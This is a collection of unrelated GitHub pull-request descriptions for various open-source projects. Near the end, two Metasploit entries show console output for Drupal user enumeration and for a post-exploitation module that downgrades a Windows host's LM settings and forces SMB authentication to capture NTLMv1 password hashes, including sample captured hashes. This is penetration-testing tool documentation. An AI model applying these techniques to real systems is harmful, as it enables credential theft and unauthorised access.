please, see my comment [here](https://github.com/propelorm/Propel/commit/8b2044683bda9120e3b8f754b113310318a2be22)
write directly to zip file and don't try to open local CSV files

Should fix import from menu error.
8788 super() can be bypassed using return

Fixes the flow analysis by clearly distinguishing "ALL branches have called a
constructor" from "ANY branches have called a ctor".
There are a large number of special cases.
Made persister services public to use them

Heya,

`foq_elastica.object_persister.*.*` services are not public by default. So you can't use persister services except by injecting them at container build time. That means no way to use them in a controller for instance.

These services are useful for listeners. In Doctrine, listeners are services so it's ok, but with Propel, you don't have listeners as services. What I do is to set the `objectPersister` instance on my model object, and then hooks can use it.

For example, here is a `processForm()` method:

``` php
<?php

public function processForm($event)
{
    // ...
    $event->setObjectPersister($this->get('foq_elastica.object_persister.website.event'));

    if ($form->isValid()) {
        $event->save();
        // ...
    }
}
```

And then:

``` php
<?php

class Event extends BaseEvent
{
   /** 
     * @var \FOQ\ElasticaBundle\Persister\ObjectPersisterInterface
     */
    protected $objectPersister;

    /** 
     * @param ObjectPersisterInterface $objectPersister
     */
    public function setObjectPersister(ObjectPersisterInterface $objectPersister)
    {   
        $this->objectPersister = $objectPersister;
    }   

    public function postSave(\PropelPDO $con = null)
    {   
        if (null !== $this->objectPersister) {
            $this->objectPersister->insertOne($this);
        }   
    }   

    public function postUpdate(\PropelPDO $con = null)
    {   
        if (null !== $this->objectPersister) {
            $this->objectPersister->replaceOne($this);
        }   
    }   

    public function postDelete(\PropelPDO $con = null)
    {   
        if (null !== $this->objectPersister) {
            $this->objectPersister->deleteById($this->getId());
        }   
    }   
}
```

Everything is explicit, testable, ... So far so good :)

This Pull Request just makes persisters services accessible everywhere.
updated client gallery
Convert govspeak fields to HTML (v2)

We were only converting body to HTML which makes the API responses tricky to use without access to the govspeak library. This change interrogates the model to find out how to process each field.
Fix for issue #11

I've just renamed `query` to `tempView` and an alias function to `tempView` when calling `query`.
'minimock' dependency

I've added a dependency for minimock (used during test) which was missing. 
Minimock will be downloaded and installed during ``python setup.py test``.
For a document fragment link, check name attributes as well as IDs for a match

This fixes an issue with a test in Success Criterion 2.4.1, which tests for the presence of a suitable named anchor when finding a link pointing to a document fragment (eg. "#htmlcs").

Originally it would only test for element IDs, which is one way of creating a named anchor in HTML 4.01 (and the only way in HTML5). However in HTML 4 a named anchor can be created using an "A" element using a "name" attribute, and this was not being tested.

This patch adds a check for this type of named anchor, and also changes the message slightly to refer to named anchors rather than "IDs".
keyCode and which - keyup and keydown

I've added logic to capybara.js's 'set' function.  My changes add the fields 'keyCode' and 'which' to the 'keypress' event (in addition to the existing 'charCode').  I also added 'keyCode' and 'which' to the 'keyup' and 'keydown' events.  I did this because I had some Javascript code I was testing which used the 'keyup' event to detect keyCode 13 ("\r") in a field which was not in a form.  However, rather than just add that I decided to make the key event simulation more complete.  I tried to match up all the keyboard characters including non alpha-numerics (and excepting the numpad, which in string form would be indistinguishable from the row at the top of the keyboard).  I also strove to make the code consistent with webkit (in this instance meaning the current versions of Safari and Chrome).  For ease of reading the tests, I created some helper functions in driver_spec.rb, which wouldn't really fit in an helper module because they are completely specific to the key event tests.  Let me know if there are any changes you would like me to make.  Thanks!
uglify-js install information in compiling section at less.html. Improve issue #1756

uglify-js is required to compile the project, but this is just in README.md
Edited documentation text for clarity, phrasing, punctuaton, grammar, etc. 

(I cherry-picked the changes I made in gh-pages and committed them to my fork’s master branch.  So, hopefully, this should do the trick!)
fixed and improved capistrano recipe

Hi, 

I had some "problems" upgrading my POD with capistrano so I improved and fixed a couple of things.

This pull request includes the following improvements:
 * do not install heroku gemset group
 * execute sass with bundle exec
 * run svc and svstat with sudo (configurable)
 * fixed thin instances detection


Heroku:
heroku gemset includes pg gem without checking ENV['DB'], who deploy with capistrano isn't an heroku user (or it'll deploy with heroku gem)

sudo:
I'm running my pod under root user, so I'm not allowed to run svc and svstat.
With this patch you can specify svc_sudo in deploy_config.yml 
If true it will use sudo (only for svc and svstat) otherwise not.
If the option is missing it will fallback to false value and behave exactly as before.

thin detection:

```ruby
s = <<-EOS
/service/thin_0: up (pid 5758) 68 seconds
/service/thin_1: up (pid 17639) 16397 seconds
/service/thin_2: up (pid 17640) 16397 seconds
EOS

puts "svstat output:"
puts s

puts "single match invocation output:"
puts s.match(/(thin_\d+):/).captures.inspect #=> ["thin_0"]


res = s.split("\n").inject([]) do |list, line| 
  m = line.match(/(thin_\d+):/) 
  list += m.captures unless m.nil?
end

puts "multi-line match invocation output:"
puts res.inspect #=> ["thin_0", "thin_1", "thin_2"]
```
LocalDB and Task classes
Set Content-Length to 0.

Fixes the issue I reported yesterday (https://github.com/Nearsoft/PHP-SeleniumClient/issues/10).
Update library that seems to not have breaking changes

Update all libraries that seems to be no-brainers, sources compatible and without breaking changed in their release notes.
Add retired flag to products

Pairing session during SA meeting 7/24, added retired flag to products model and associated views
10.Mobile.Apps

10.Mobile.Apps
Dash enhancements

These changes make the dash a lot prettier, and a bit more usable/functional as well
Minor bugfix: argument -p ineffective

The ``--webport`` option was ignored and the only way to change port from default was to use environment.
Move hashtag icons to css

It's better style to only use the <img> tag for images that stand alone and css background for icons that have text associated with it. Also, it makes it easier for making icon sprites in the future or if we ever turn the icons into css icons.
Fix string-interpolated class-name lookup

I've patched the string-based class_eval to use global namespace lookup to prevent bitmask_attributes to hook into the wrong class. An example of this occuring is when using bitmask_attributes in a class called Event, and at the same time using the statemachine Transitions (which defines Transitions::Event). Since class_eval will look inside-out - which will hook into the wrong class!

Of course, all tests pass!
updated multi_xml version requirements.

All tests passing.
Leetle pierre

TAKE ZAT, LEETLE PIERRE
Resolving issues discovered while testing iron_worker_ng

setuptools over distutils because install_requires actually fetches and installs required packages.

headers for httplib must be strings so len(body) was changed to str(len(body))
Removed changes for controllable capacities to make tests of well behavior
updating module to comply with style guide

now passes puppet-lint
Fixed "Drupal Views User Enum Module only writes to the database"

Fixed the Drupal Views User Enum Module only writes to the database Issue #1010 referenced here:
https://github.com/rapid7/metasploit-framework/issues/1010

The module will not display to the console and also log to the loot database as requested in the ticket.

Output can be seen below:


msf  auxiliary(drupal_views_user_enum) > rexploit
[*] Reloading module...

[*] Begin enumerating users at 192.168.0.13
[*] Done. 2 usernames found...
[+] Found User: Anonymous
[+] Found User: root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(drupal_views_user_enum) > notes
msf  auxiliary(drupal_views_user_enum) > loot

Loot
====

host          service  type       name             content     info       path
----          -------  ----       ----             -------     ----       ----
192.168.0.13           auxiliary  drupal_user.txt  text/plain  root       /root/.msf4/loot/20121106053042_default_192.168.0.13_auxiliary_070390.txt
192.168.0.13           auxiliary  drupal_user.txt  text/plain  Anonymous  /root/.msf4/loot/20121106053042_default_192.168.0.13_auxiliary_351503.txt

msf  auxiliary(drupal_views_user_enum) >
Msftidy 2 unstable

Some 'windows' => 'win' cleanups for unstable branch, and add my own msftidy module to unstable branch.
added post exploit module netlm_downgrade.rb

This post exploit module will modify the registry to enable LM challenges. This will allow LM challenges to be sent when an SMB connection is initiated. The module will then initiate an SMB connection to the IPC$ share of the defined SMBHOST datastore.

For additional details please see:
http://www.pentestgeek.com/2012/11/30/netlm-downgrade-attacks-with-metasploit/

A preview of the module can be seen below:
<pre>
msf  post(netlm_downgrade) > ifconfig eth0 | grep "inet addr"
[*] exec: ifconfig eth0 | grep "inet addr"

          inet addr:192.168.1.101  Bcast:192.168.1.255  Mask:255.255.255.0
msf  post(netlm_downgrade) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  1   meterpreter x86/win32  HOSTNAME\Accuvant @ MATRIX  192.168.1.101:443 -> 192.168.1.202:1075 (192.168.1.202)

msf  post(netlm_downgrade) > show options

Module options (post/windows/manage/netlm_downgrade):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.
   SMBHOST                   yes       IP Address where SMB host is listening to capture hashes.

msf  post(netlm_downgrade) > set session 1
session => 1
msf  post(netlm_downgrade) > set SMBHOST 192.168.1.101
SMBHOST => 192.168.1.101
msf  post(netlm_downgrade) > run

[*] NetLM is Disabled: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 2
[+] NetLM is Enabled:  HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 0
[*] Establishing SMB connection to 192.168.1.101
[*] SMB Captured - 2012-11-28 21:35:50 -0600
NTLMv1 Response Captured from 192.168.1.202:1076 - 192.168.1.202 
USER:Accuvant DOMAIN:MATRIX OS:Windows Server 2003 3790 Service Pack 2 LM:
LMHASH:d012529369a7033eca0e9fd69a24d7e0c4d6f0bca5a75372 
NTHASH:beae9fddc1f736c120c1d1859feead5a3a7812c8e7b68c30

[*] The SMBHOST should now have NetLM hashes
[*] Cleanup Completed: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\lmcompatibilitylevel == 2
[*] Post module execution completed
msf  post(netlm_downgrade) > 
</pre>
Skip running jasmine tests when a single surefire test is specified

...quested
remove random ctrl chars

as promised in the Surbiton Flyer - your first pull request